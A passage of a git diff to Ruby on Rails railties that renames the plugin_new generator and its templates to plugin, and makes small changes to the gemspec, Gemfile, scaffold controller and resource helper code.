+++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
@@ -0,0 +1,27 @@
+$:.push File.expand_path("../lib", __FILE__)
+
+# Maintain your gem's version:
+require "<%= name %>/version"
+
+# Describe your gem and declare its dependencies:
+Gem::Specification.new do |s|
+  s.name        = "<%= name %>"
+  s.version     = <%= camelized %>::VERSION
+  s.authors     = ["TODO: Your name"]
+  s.email       = ["TODO: Your email"]
+  s.homepage    = "TODO"
+  s.summary     = "TODO: Summary of <%= camelized %>."
+  s.description = "TODO: Description of <%= camelized %>."
+  s.license     = "MIT"
+
+  s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
+<% unless options.skip_test_unit? -%>
+  s.test_files = Dir["test/**/*"]
+<% end -%>
+
+  <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>"
+<% unless options[:skip_active_record] -%>
+
+  s.add_development_dependency "<%= gem_for_database %>"
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
new file mode 100644
index 0000000..f0a832f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -0,0 +1,43 @@
+source "https://rubygems.org"
+
+<% if options[:skip_gemspec] -%>
+<%= '# ' if options.dev? || options.edge? -%>gem "rails", "~> <%= Rails::VERSION::STRING %>"
+<% else -%>
+# Declare your gem's dependencies in <%= name %>.gemspec.
+# Bundler will treat runtime dependencies like base dependencies, and
+# development dependencies will be added by default to the :development group.
+gemspec
+<% end -%>
+
+<% if options[:skip_gemspec] -%>
+group :development do
+  gem "<%= gem_for_database %>"
+end
+<% else -%>
+# Declare any dependencies that are still in development here instead of in
+# your gemspec. These might include edge Rails or gems from your path or
+# Git. Remember to move these dependencies to your gemspec before releasing
+# your gem to rubygems.org.
+<% end -%>
+
+<% if options.dev? || options.edge? -%>
+# Your gem is dependent on dev or edge Rails. Once you can lock this
+# dependency down to a specific version, move it to your gemspec.
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
+
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+,<%= gem.padding(max_width) %><%= gem.options.map { |k,v|
+  "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
+
+<% end -%>
+<% unless defined?(JRUBY_VERSION) -%>
+# To use debugger
+# gem 'debugger'
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE
rename to railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc
rename to railties/lib/rails/generators/rails/plugin/templates/README.rdoc
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
rename to railties/lib/rails/generators/rails/plugin/templates/Rakefile
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt
rename to railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt
rename to railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory
similarity index 100%
copy from railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
copy to railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
rename to railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
rename to railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
new file mode 100644
index 0000000..c3314d7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
@@ -0,0 +1,11 @@
+# This command will automatically be run when you run "rails" with Rails 4 gems installed from the root of your application.
+
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
+
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+
+require 'rails/all'
+require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb
rename to railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/gitignore
rename to railties/lib/rails/generators/rails/plugin/templates/gitignore
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb
rename to railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb
rename to railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
rename to railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake
rename to railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
new file mode 100644
index 0000000..5508829
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
@@ -0,0 +1,18 @@
+require File.expand_path('../boot', __FILE__)
+
+<% if include_all_railties? -%>
+require 'rails/all'
+<% else -%>
+# Pick the frameworks you want:
+<%= comment_if :skip_active_record %>require "active_record/railtie"
+require "action_controller/railtie"
+require "action_mailer/railtie"
+<%= comment_if :skip_action_view %>require "action_view/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
+<% end -%>
+
+Bundler.require(*Rails.groups)
+require "<%= name %>"
+
+<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
new file mode 100644
index 0000000..6266cfc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js
rename to railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb
rename to railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
new file mode 100644
index 0000000..a443db3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
@@ -0,0 +1,15 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any styles
+ * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
+ * file per style scope.
+ *
+ *= require_tree .
+ *= require_self
+ */
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb
rename to railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb
rename to railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
rename to railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
deleted file mode 100644
index 850c9d5..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ /dev/null
@@ -1,368 +0,0 @@
-require 'active_support/core_ext/hash/slice'
-require "rails/generators/rails/app/app_generator"
-require 'date'
-
-module Rails
-  # The plugin builder allows you to override elements of the plugin
-  # generator without being forced to reverse the operations of the default
-  # generator.
-  #
-  # This allows you to override entire operations, like the creation of the
-  # Gemfile, README, or JavaScript files, without needing to know exactly
-  # what those operations do so you can create another template action.
-  class PluginBuilder
-    def rakefile
-      template "Rakefile"
-    end
-
-    def app
-      if mountable?
-        directory 'app'
-        empty_directory_with_keep_file "app/assets/images/#{name}"
-      elsif full?
-        empty_directory_with_keep_file 'app/models'
-        empty_directory_with_keep_file 'app/controllers'
-        empty_directory_with_keep_file 'app/views'
-        empty_directory_with_keep_file 'app/helpers'
-        empty_directory_with_keep_file 'app/mailers'
-        empty_directory_with_keep_file "app/assets/images/#{name}"
-      end
-    end
-
-    def readme
-      template "README.rdoc"
-    end
-
-    def gemfile
-      template "Gemfile"
-    end
-
-    def license
-      template "MIT-LICENSE"
-    end
-
-    def gemspec
-      template "%name%.gemspec"
-    end
-
-    def gitignore
-      template "gitignore", ".gitignore"
-    end
-
-    def lib
-      template "lib/%name%.rb"
-      template "lib/tasks/%name%_tasks.rake"
-      template "lib/%name%/version.rb"
-      template "lib/%name%/engine.rb" if engine?
-    end
-
-    def config
-      template "config/routes.rb" if engine?
-    end
-
-    def test
-      template "test/test_helper.rb"
-      template "test/%name%_test.rb"
-      append_file "Rakefile", <<-EOF
-#{rakefile_test_tasks}
-
-task default: :test
-      EOF
-      if engine?
-        template "test/integration/navigation_test.rb"
-      end
-    end
-
-    PASSTHROUGH_OPTIONS = [
-      :skip_active_record, :skip_javascript, :database, :javascript, :quiet, :pretend, :force, :skip
-    ]
-
-    def generate_test_dummy(force = false)
-      opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
-      opts[:force] = force
-      opts[:skip_bundle] = true
-
-      invoke Rails::Generators::AppGenerator,
-        [ File.expand_path(dummy_path, destination_root) ], opts
-    end
-
-    def test_dummy_config
-      template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
-      template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
-      if mountable?
-        template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
-      end
-    end
-
-    def test_dummy_assets
-      template "rails/javascripts.js",  "#{dummy_path}/app/assets/javascripts/application.js", force: true
-      template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true
-    end
-
-    def test_dummy_clean
-      inside dummy_path do
-        remove_file ".gitignore"
-        remove_file "db/seeds.rb"
-        remove_file "doc"
-        remove_file "Gemfile"
-        remove_file "lib/tasks"
-        remove_file "public/robots.txt"
-        remove_file "README"
-        remove_file "test"
-        remove_file "vendor"
-      end
-    end
-
-    def stylesheets
-      if mountable?
-        copy_file "rails/stylesheets.css",
-                  "app/assets/stylesheets/#{name}/application.css"
-      elsif full?
-        empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
-      end
-    end
-
-    def javascripts
-      return if options.skip_javascript?
-
-      if mountable?
-        template "rails/javascripts.js",
-                 "app/assets/javascripts/#{name}/application.js"
-      elsif full?
-        empty_directory_with_keep_file "app/assets/javascripts/#{name}"
-      end
-    end
-
-    def bin(force = false)
-      return unless engine?
-
-      directory "bin", force: force do |content|
-        "#{shebang}\n" + content
-      end
-      chmod "bin", 0755, verbose: false
-    end
-
-    def gemfile_entry
-      return unless inside_application?
-
-      gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
-      if File.exist? gemfile_in_app_path
-        entry = "gem '#{name}', path: '#{relative_path}'"
-        append_file gemfile_in_app_path, entry
-      end
-    end
-  end
-
-  module Generators
-    class PluginNewGenerator < AppBase # :nodoc:
-      add_shared_options_for "plugin"
-
-      alias_method :plugin_path, :app_path
-
-      class_option :dummy_path,   type: :string, default: "test/dummy",
-                                  desc: "Create dummy application at given path"
-
-      class_option :full,         type: :boolean, default: false,
-                                  desc: "Generate a rails engine with bundled Rails application for testing"
-
-      class_option :mountable,    type: :boolean, default: false,
-                                  desc: "Generate mountable isolated application"
-
-      class_option :skip_gemspec, type: :boolean, default: false,
-                                  desc: "Skip gemspec file"
-
-      class_option :skip_gemfile_entry, type: :boolean, default: false,
-                                        desc: "If creating plugin in application's directory " +
-                                                 "skip adding entry to Gemfile"
-
-      def initialize(*args)
-        raise Error, "Options should be given after the plugin name. For details run: rails plugin new --help" if args[0].blank?
-
-        @dummy_path = nil
-        super
-      end
-
-      public_task :create_root
-
-      def create_root_files
-        build(:readme)
-        build(:rakefile)
-        build(:gemspec)   unless options[:skip_gemspec]
-        build(:license)
-        build(:gitignore) unless options[:skip_git]
-        build(:gemfile)   unless options[:skip_gemfile]
-      end
-
-      def create_app_files
-        build(:app)
-      end
-
-      def create_config_files
-        build(:config)
-      end
-
-      def create_lib_files
-        build(:lib)
-      end
-
-      def create_public_stylesheets_files
-        build(:stylesheets)
-      end
-
-      def create_javascript_files
-        build(:javascripts)
-      end
-
-      def create_images_directory
-        build(:images)
-      end
-
-      def create_bin_files
-        build(:bin)
-      end
-
-      def create_test_files
-        build(:test) unless options[:skip_test_unit]
-      end
-
-      def create_test_dummy_files
-        return unless with_dummy_app?
-        create_dummy_app
-      end
-
-      def update_gemfile
-        build(:gemfile_entry) unless options[:skip_gemfile_entry]
-      end
-
-      def finish_template
-        build(:leftovers)
-      end
-
-      public_task :apply_rails_template, :run_bundle
-
-      def name
-        @name ||= begin
-          # same as ActiveSupport::Inflector#underscore except not replacing '-'
-          underscored = original_name.dup
-          underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
-          underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
-          underscored.downcase!
-
-          underscored
-        end
-      end
-
-    protected
-
-      def app_templates_dir
-        "../../app/templates"
-      end
-
-      def create_dummy_app(path = nil)
-        dummy_path(path) if path
-
-        say_status :vendor_app, dummy_path
-        mute do
-          build(:generate_test_dummy)
-          store_application_definition!
-          build(:test_dummy_config)
-          build(:test_dummy_assets)
-          build(:test_dummy_clean)
-          # ensure that bin/rails has proper dummy_path
-          build(:bin, true)
-        end
-      end
-
-      def engine?
-        full? || mountable?
-      end
-
-      def full?
-        options[:full]
-      end
-
-      def mountable?
-        options[:mountable]
-      end
-
-      def with_dummy_app?
-        options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
-      end
-
-      def self.banner
-        "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
-      end
-
-      def original_name
-        @original_name ||= File.basename(destination_root)
-      end
-
-      def camelized
-        @camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
-      end
-
-      def valid_const?
-        if original_name =~ /[^0-9a-zA-Z_]+/
-          raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
-        elsif camelized =~ /^\d/
-          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
-        elsif RESERVED_NAMES.include?(name)
-          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
-        elsif Object.const_defined?(camelized)
-          raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
-        end
-      end
-
-      def application_definition
-        @application_definition ||= begin
-
-          dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
-          unless options[:pretend] || !File.exists?(dummy_application_path)
-            contents = File.read(dummy_application_path)
-            contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
-          end
-        end
-      end
-      alias :store_application_definition! :application_definition
-
-      def get_builder_class
-        defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
-      end
-
-      def rakefile_test_tasks
-        <<-RUBY
-require 'rake/testtask'
-
-Rake::TestTask.new(:test) do |t|
-  t.libs << 'lib'
-  t.libs << 'test'
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = false
-end
-        RUBY
-      end
-
-      def dummy_path(path = nil)
-        @dummy_path = path if path
-        @dummy_path || options[:dummy_path]
-      end
-
-      def mute(&block)
-        shell.mute(&block)
-      end
-
-      def rails_app_path
-        APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
-      end
-
-      def inside_application?
-        rails_app_path && app_path =~ /^#{rails_app_path}/
-      end
-
-      def relative_path
-        return unless inside_application?
-        app_path.sub(/^#{rails_app_path}\//, '')
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
deleted file mode 100644
index f7c12e6..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
+++ /dev/null
@@ -1,26 +0,0 @@
-$:.push File.expand_path("../lib", __FILE__)
-
-# Maintain your gem's version:
-require "<%= name %>/version"
-
-# Describe your gem and declare its dependencies:
-Gem::Specification.new do |s|
-  s.name        = "<%= name %>"
-  s.version     = <%= camelized %>::VERSION
-  s.authors     = ["TODO: Your name"]
-  s.email       = ["TODO: Your email"]
-  s.homepage    = "TODO"
-  s.summary     = "TODO: Summary of <%= camelized %>."
-  s.description = "TODO: Description of <%= camelized %>."
-
-  s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
-<% unless options.skip_test_unit? -%>
-  s.test_files = Dir["test/**/*"]
-<% end -%>
-
-  <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>"
-<% unless options[:skip_active_record] -%>
-
-  s.add_development_dependency "<%= gem_for_database %>"
-<% end -%>
-end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
deleted file mode 100644
index 3f2b78f..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ /dev/null
@@ -1,30 +0,0 @@
-source "https://rubygems.org"
-
-<% if options[:skip_gemspec] -%>
-<%= '# ' if options.dev? || options.edge? -%>gem "rails", "~> <%= Rails::VERSION::STRING %>"
-<% else -%>
-# Declare your gem's dependencies in <%= name %>.gemspec.
-# Bundler will treat runtime dependencies like base dependencies, and
-# development dependencies will be added by default to the :development group.
-gemspec
-<% end -%>
-
-<% if options[:skip_gemspec] -%>
-group :development do
-  gem "<%= gem_for_database %>"
-end
-<% else -%>
-# Declare any dependencies that are still in development here instead of in
-# your gemspec. These might include edge Rails or gems from your path or
-# Git. Remember to move these dependencies to your gemspec before releasing
-# your gem to rubygems.org.
-<% end -%>
-
-<% if options.dev? || options.edge? -%>
-# Your gem is dependent on dev or edge Rails. Once you can lock this
-# dependency down to a specific version, move it to your gemspec.
-<%= rails_gemfile_entry -%>
-
-<% end -%>
-# To use debugger
-# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt
deleted file mode 100644
index c8de9f3..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt
+++ /dev/null
@@ -1,7 +0,0 @@
-# This command will automatically be run when you run "rails" with Rails 4 gems installed from the root of your application.
-
-ENGINE_ROOT = File.expand_path('../..', __FILE__)
-ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
-
-require 'rails/all'
-require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
deleted file mode 100644
index 310c975..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require File.expand_path('../boot', __FILE__)
-
-<% if include_all_railties? -%>
-require 'rails/all'
-<% else -%>
-# Pick the frameworks you want:
-<%= comment_if :skip_active_record %>require "active_record/railtie"
-require "action_controller/railtie"
-require "action_mailer/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
-<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
-<% end -%>
-
-Bundler.require(*Rails.groups)
-require "<%= name %>"
-
-<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
deleted file mode 100644
index ef36047..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
-
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
-$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css
deleted file mode 100644
index 3192ec8..0000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/*
- * This is a manifest file that'll be compiled into application.css, which will include all the files
- * listed below.
- *
- * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
- * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
- *
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
- *
- *= require_self
- *= require_tree .
- */
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
index a0e5553..e4a2bc2 100644
--- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -9,7 +9,7 @@ module Rails
       # should give you
       #
       #   namespace :admin do
-      #     namespace :users
+      #     namespace :users do
       #       resources :products
       #     end
       #   end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 4f36b61..6bf0a33 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -13,7 +13,7 @@ module Rails
       argument :attributes, type: :array, default: [], banner: "field:type field:type"
 
       def create_controller_files
-        template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+        template "controller.rb", File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
       end
 
       hook_for :template_engine, :test_framework, as: :scaffold
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 73e8908..2c3b040 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -31,7 +31,7 @@ class <%= controller_class_name %>Controller < ApplicationController
     if @<%= orm_instance.save %>
       redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
     else
-      render action: 'new'
+      render :new
     end
   end
 
@@ -40,7 +40,7 @@ class <%= controller_class_name %>Controller < ApplicationController
     if @<%= orm_instance.update("#{singular_table_name}_params") %>
       redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
     else
-      render action: 'edit'
+      render :edit
     end
   end
 
@@ -59,9 +59,9 @@ class <%= controller_class_name %>Controller < ApplicationController
     # Only allow a trusted parameter "white list" through.
     def <%= "#{singular_table_name}_params" %>
       <%- if attributes_names.empty? -%>
-      params[<%= ":#{singular_table_name}" %>]
+      params[:<%= singular_table_name %>]
       <%- else -%>
-      params.require(<%= ":#{singular_table_name}" %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
+      params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
       <%- end -%>
     end
 end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index 7fd5c00..7329ee9 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -9,11 +9,17 @@ module Rails
 
       def self.included(base) #:nodoc:
         base.class_option :force_plural, type: :boolean, desc: "Forces the use of a plural ModelName"
+        base.class_option :model_name, type: :string, desc: "ModelName to be used"
       end
 
       # Set controller variables on initialization.
       def initialize(*args) #:nodoc:
         super
+        controller_name = name
+        if options[:model_name]
+          self.name = options[:model_name]
+          assign_names!(self.name)
+        end
 
         if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
           unless ResourceHelpers.skip_warn
@@ -24,19 +30,26 @@ module Rails
           assign_names!(name)
         end
 
-        @controller_name = name.pluralize
+        assign_controller_names!(controller_name.pluralize)
       end
 
       protected
 
-        attr_reader :controller_name
+        attr_reader :controller_name, :controller_file_name
 
         def controller_class_path
-          class_path
+          if options[:model_name]
+            @controller_class_path
+          else
+            class_path
+          end
         end
 
-        def controller_file_name
-          @controller_file_name ||= file_name.pluralize
+        def assign_controller_names!(name)
+          @controller_name = name
+          @controller_class_path = name.include?('/') ? name.split('/') : name.split('::')
+          @controller_class_path.map! { |m| m.underscore }
+          @controller_file_name = @controller_class_path.pop
         end
 
         def controller_file_path
diff --git a/railties/lib/rails/generators/test_unit/generator/generator_generator.rb b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
new file mode 100644
index 0000000..d730739
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
@@ -0,0 +1,26 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
